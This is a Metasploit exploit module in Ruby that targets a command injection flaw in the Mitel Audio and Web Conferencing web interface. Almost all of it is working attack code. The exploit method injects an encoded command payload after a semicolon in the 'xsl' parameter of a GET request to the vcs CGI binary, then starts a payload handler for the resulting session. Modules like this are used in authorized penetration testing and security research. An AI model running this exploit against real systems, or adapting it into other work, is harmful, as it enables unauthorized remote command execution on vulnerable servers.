Mitel Audio and Web Conferencing Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mitel Audio and Web Conferencing Command Injection',
      'Description'    => %q{
          This module exploits a command injection flaw within the Mitel
        Audio and Web Conferencing web interface.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '69934'],
      #		['CVE',   ''],
      #		['BID',   '']
        ],
      'Platform'       => %w{ linux unix },
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'BadChars'    => "<>",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby python telnet',
            }
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2010-12-12'
      ))

    register_options(
      [
        OptString.new('URIPATH', [ true,  "The path to the vcs cgi-bin binary", "/awcuser/cgi-bin/vcs" ])
      ])
  end

  def exploit
    print_status("Attempting to execute our command..")

    res = send_request_cgi(
      {
        'uri'          => datastore['URIPATH'],
        'method'       => 'GET',
        'vars_get'     => {
          'xml' => 'withXsl',
          'xsl' => ';' + payload.encoded
        }
      }, 10)

    if res and res.code.to_i > 200
      print_error("Unexpected reply: #{res.code} #{res.body[0,500].inspect}...")
      return
    end

    handler
  end
end